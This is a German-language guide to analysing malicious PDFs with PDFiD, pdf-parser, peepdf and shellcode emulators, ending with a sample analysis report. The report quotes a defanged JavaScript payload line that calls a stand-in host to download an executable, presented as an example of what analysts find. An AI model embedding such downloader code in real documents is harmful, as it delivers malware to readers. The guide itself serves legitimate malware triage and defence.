Was macht Analyse von PDF-Malware mit PDFiD?
Wann verwenden
- Ein verdächtiger PDF-Anhang wurde von der E-Mail-Sicherheit markiert oder von einem Benutzer gemeldet
- Sie müssen feststellen, ob ein PDF eingebettetes JavaScript, Shellcode oder Exploit-Code enthält
- Triaging von PDF-Dokumenten vor dem Öffnen in einer Sandbox oder Analyseumgebung
- Extrahieren eingebetteter ausführbarer Dateien, Skripte oder URLs aus bösartigen PDF-Objekten
- Analyse von PDF-Exploit-Kits, die auf Adobe Reader oder andere PDF-Viewer-Schwachstellen abzielen
Nicht verwenden für die Analyse des gerenderten visuellen Inhalts eines PDFs; dies dient der strukturellen Analyse des PDF-Dateiformats auf bösartige Objekte.
Voraussetzungen
- Python 3.8+ mit installierten Didier-Stevens-PDF-Tools (
pip install pdfid pdf-parser) - peepdf installiert für interaktive PDF-Analyse (
pip install peepdf) - pdftotext von poppler-utils zum sicheren Extrahieren von Textinhalten
- YARA mit PDF-spezifischen Regeln zur Identifizierung von Malware-Familien
- Isolierte Analyse-VM ohne installierten PDF-Reader (verhindert versehentliches Öffnen)
- CyberChef zum Dekodieren eingebetteter Base64-, Hex- oder Deflate-Streams
Workflow
Schritt 1: Erste Triage mit PDFiD
Scannen Sie das PDF auf verdächtige Schlüsselwörter und Strukturen:
# PDFiD ausführen, um verdächtige Elemente zu identifizieren
pdfid suspect.pdf
# Analyse der erwarteten Ausgabe:
# /JS - JavaScript (HOHES Risiko)
# /JavaScript - JavaScript-Objekt (HOHES Risiko)
# /AA - Automatische Aktion, die beim Öffnen ausgelöst wird (HOHES Risiko)
# /OpenAction - Aktion beim Öffnen des Dokuments (HOHES Risiko)
# /Launch - Externe Anwendung starten (HOHES Risiko)
# /EmbeddedFile - Eingebettete Datei (MITTLERES Risiko)
# /RichMedia - Flash-Inhalt (MITTLERES Risiko)
# /ObjStm - Objekt-Stream (wird zur Verschleierung verwendet)
# /URI - URL-Referenz (kontextuelles Risiko)
# /AcroForm - Interaktives Formular (MITTLERES Risiko)
# Mit zusätzlichen Details ausführen
pdfid -e suspect.pdf
# Mit Entschärfung (umbenennen verdächtiger Schlüsselwörter) ausführen
pdfid -d suspect.pdf
PDFiD Risikobewertung:
━━━━━━━━━━━━━━━━━━━━━
HOHES RISIKO Indikatoren (jede Anzahl > 0):
/JS, /JavaScript -> Eingebetteter JavaScript-Code
/AA -> Automatische Aktion (wird ohne Benutzerinteraktion ausgelöst)
/OpenAction -> Code wird ausgeführt, wenn das Dokument geöffnet wird
/Launch -> Kann externe ausführbare Dateien starten
/JBIG2Decode -> Verbunden mit CVE-2009-0658 Exploit
MITTLERES RISIKO Indikatoren:
/EmbeddedFile -> Enthält eingebettete Dateien (könnten EXE/DLL sein)
/RichMedia -> Flash/Multimedia (Flash-Exploits)
/AcroForm -> Formular mit möglicher Submit-Aktion
/XFA -> XML-Formulararchitektur (komplexe Angriffsfläche)
NIEDRIGES RISIKO Indikatoren:
/ObjStm -> Objekt-Streams (Verschleierungstechnik)
/URI -> Externe URL-Referenzen
/Page -> Seitenzahl (nur Kontext)
Schritt 2: PDF-Struktur mit pdf-parser analysieren
Untersuchen Sie verdächtige Objekte, die von PDFiD identifiziert wurden:
# Alle Objekte auflisten, die auf JavaScript verweisen
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# Alle Objekte mit OpenAction auflisten
pdf-parser --search "/OpenAction" suspect.pdf
# Ein bestimmtes Objekt nach ID extrahieren (Beispiel: Objekt 5)
pdf-parser --object 5 suspect.pdf
# Stream-Inhalt extrahieren und dekomprimieren
pdf-parser --object 5 --filter --raw suspect.pdf
# Nach eingebetteten Dateien suchen
pdf-parser --search "/EmbeddedFile" suspect.pdf
# Alle Objekte mit ihren Typen auflisten
pdf-parser --stats suspect.pdf
Schritt 3: Eingebettetes JavaScript extrahieren und analysieren
JavaScript-Code aus PDF-Objekten extrahieren:
# JavaScript mit pdf-parser extrahieren
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# Alternative: peepdf für interaktive JavaScript-Extraktion verwenden
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# peepdf interaktive Befehle für JS-Analyse:
# js_analyse - Allen JavaScript-Code extrahieren und anzeigen
# js_beautify - Extrahiertes JavaScript formatieren
# js_eval <object> - JavaScript in einer Sandbox-Umgebung auswerten
# object <id> - Objektinhalt anzeigen
# rawobject <id> - Rohe Objektbytes anzeigen
# stream <id> - Dekomprimierten Stream anzeigen
# offsets - Objekt-Offsets in der Datei anzeigen
# Python-Skript für umfassende PDF-JavaScript-Extraktion
import subprocess
import re
# Alle Streams extrahieren und nach JavaScript suchen
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# Objekt-IDs finden, die JavaScript-Referenzen enthalten
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# Jedes JavaScript-enthaltende Objekt extrahieren
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== Objekt {obj_id} ===")
print(result.stdout[:2000])
Schritt 4: Eingebetteten Shellcode analysieren
Shellcode aus PDF-Exploits extrahieren und untersuchen:
# Roh-Stream-Daten für Shellcode-Analyse extrahieren
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# Shellcode mit scdbg (Shellcode-Debugger) analysieren
scdbg /f shellcode.bin
# Alternative: Speakeasy für Shellcode-Emulation verwenden
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# API-Aufrufe des Shellcodes überprüfen
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# CyberChef zum Dekodieren von hex/base64-kodiertem Shellcode verwenden
# Eingabe: Extrahierte Stream-Daten
# Rezept: From Hex -> Disassemble x86
Schritt 5: Eingebettete Dateien und URLs extrahieren
Eingebettete ausführbare Dateien und verlinkte Ressourcen extrahieren:
# Eingebettete Dateien aus PDF extrahieren
import subprocess
import hashlib
# Eingebettete Dateiobjekte finden
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# Eingebettete PE-Dateien durch Suchen nach MZ-Header extrahieren
with open("suspect.pdf", "rb") as f:
data = f.read()
# Nach eingebetteten PE-Dateien suchen
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# PE-Signatur überprüfen
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"Eingebettete PE-Datei bei Offset 0x{pos:X} gefunden")
# Extrahieren (Größe schätzen oder PE-Header verwenden)
embedded = data[pos:pos+100000] # Erste Extraktion
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# URLs aus PDF extrahieren
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
Schritt 6: Analysebericht erstellen
Dokumentieren Sie alle Erkenntnisse aus der PDF-Analyse:
Die Analyse sollte abdecken:
- PDFiD-Triage-Ergebnisse (Anzahl verdächtiger Schlüsselwörter)
- PDF-Strukturanomalien (Objekt-Streams, Cross-Reference-Probleme)
- Extrahierter JavaScript-Code (falls nötig deobfuskiert)
- Shellcode-Analyseergebnisse (API-Aufrufe, Netzwerk-Indikatoren)
- Extrahierte Dateien mit Hashes
- URLs und externe Referenzen
- CVE-Identifikation, falls ein bekannter Exploit erkannt wurde
- YARA-Regel-Treffer gegen bekannte PDF-Malware-Familien
Schlüsselkonzepte
| Begriff | Definition |
|---|---|
| PDF-Objekt | Grundbaustein einer PDF-Datei; Objekte können Streams (komprimierte Daten), Wörterbücher, Arrays und Referenzen auf andere Objekte enthalten |
| OpenAction | PDF-Wörterbucheintrag, der eine Aktion beim Öffnen des Dokuments spezifiziert; wird häufig verwendet, um JavaScript-Exploits auszulösen |
| PDF-Stream | Komprimierte Daten in einem PDF-Objekt, die JavaScript, Bilder, eingebettete Dateien oder Shellcode enthalten können; typischerweise mit FlateDecode komprimiert |
| FlateDecode | Zlib/Deflate-Komprimierungsfilter, der auf PDF-Streams angewendet wird; muss dekomprimiert werden, um den Inhalt zu analysieren |
| ObjStm (Objekt-Stream) | PDF-Funktion, die mehrere Objekte in einem einzigen komprimierten Stream speichert; von Malware verwendet, um verdächtige Objekte vor einfachen Parsern zu verstecken |
| JBIG2 | Bildkomprimierungsstandard in PDFs; historische Quelle von Exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | Adobe-spezifische JavaScript-Erweiterungen, die in PDF-Dokumenten für Formularbearbeitung, Netzwerkzugriff und Betriebssystem-Interaktion verfügbar sind |
Tools & Systeme
- PDFiD: Didier Stevens' Tool zum Scannen von PDF-Dokumenten auf verdächtige Schlüsselwörter und Strukturen, ohne das gesamte Dokument zu parsen |
- pdf-parser: Begleittool zu PDFiD für detaillierte PDF-Objekt-Extraktion, Stream-Dekomprimierung und Inhaltsanalyse |
- peepdf: Python-basiertes PDF-Analyse-Tool mit interaktiver Shell für Objektinspektion und JavaScript-Extraktion |
- QPDF: PDF-Transformations-Tool zum Linearisieren, Entschlüsseln und Umstrukturieren von PDFs für eine einfachere Analyse |
- scdbg: Shellcode-Analyse-Tool, das die Ausführung von x86-Shellcode emuliert und API-Aufrufe protokolliert |
Häufige Szenarien
Szenario: Triaging eines Phishing-PDFs mit eingebettetem JavaScript
Kontext: Das E-Mail-Gateway hat einen PDF-Anhang mit verdächtigen JavaScript-Indikatoren markiert. Das Sicherheitsteam muss feststellen, ob der Anhang einen Exploit oder eine Social-Engineering-Weiterleitung enthält.
Vorgehen:
- Führen Sie PDFiD aus, um das Vorhandensein und die Anzahl von /JS, /JavaScript und /OpenAction zu bestätigen
- Verwenden Sie pdf-parser, um das OpenAction-Objekt zu extrahieren und seiner Referenzkette zu folgen
- Extrahieren Sie den JavaScript-Code aus dem referenzierten Stream-Objekt (wenden Sie den FlateDecode-Filter an)
- Deobfusken Sie das JavaScript (dekodieren Sie Hex-Strings, lösen Sie eval-Ketten auf)
- Bestimmen Sie, ob das Skript eine PDF-Reader-Schwachstelle ausnutzt (prüfen Sie auf Heap Spray, ROP-Ketten) oder eine Weiterleitung durchführt
- Extrahieren Sie alle URLs, IPs und eingebetteten Dateien als IOCs
- Klassifizieren Sie die Probe: Exploit (spezifische CVE) oder Social Engineering (Weiterleitung/Phishing)
Fallstricke:
- Öffnen des PDFs in einem Standard-Reader anstatt der Analyse mit Befehlszeilen-Tools
- Übersehen von JavaScript, das in Objekt-Streams (/ObjStm) versteckt ist, die von PDFiD erkannt, aber von einfachen Parsern übersehen werden
- Streams vor der Analyse nicht dekomprimieren (FlateDecode, ASCIIHexDecode, ASCII85Decode-Filter)
- Annahme, dass das Fehlen von /JS bedeutet, dass kein JavaScript vorhanden ist; Code kann in Formularfeldern (/AcroForm mit /XFA) eingebettet sein
Ausgabeformat
PDF-MALWARE-ANALYSEBERICHT
==============================
Datei: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
Dateigröße: 45.312 Bytes
PDF-Version: 1.7
PDFID-TRIAGE
/JS: 1 [HOHES RISIKO]
/JavaScript: 1 [HOHES RISIKO]
/OpenAction: 1 [HOHES RISIKO]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [VERSCHLEIERUNG]
VERDÄCHTIGE OBJEKTE
Objekt 5: /OpenAction -> verweist auf Objekt 8
Objekt 8: /JavaScript-Stream (FlateDecode, 2.847 Bytes dekomprimiert)
Objekt 12: /ObjStm mit Objekten 15-18
EXTRAHIERTES JAVASCRIPT
Schicht 1: eval(unescape("%68%65%6C%6C%6F"))
Schicht 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// Social-Engineering-Weiterleitung, kein Exploit
EXTRAHIERTE IOCs
URLs: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
Domänen: malicious[.]com, fake-login[.]com
KLASSIFIZIERUNG
Typ: Social Engineering (URL-Weiterleitung)
CVE: Keine (kein Exploit-Code erkannt)
Risiko: HOCH (lädt ausführbare Nutzlast herunter)
Familie: Generischer PDF-Dropper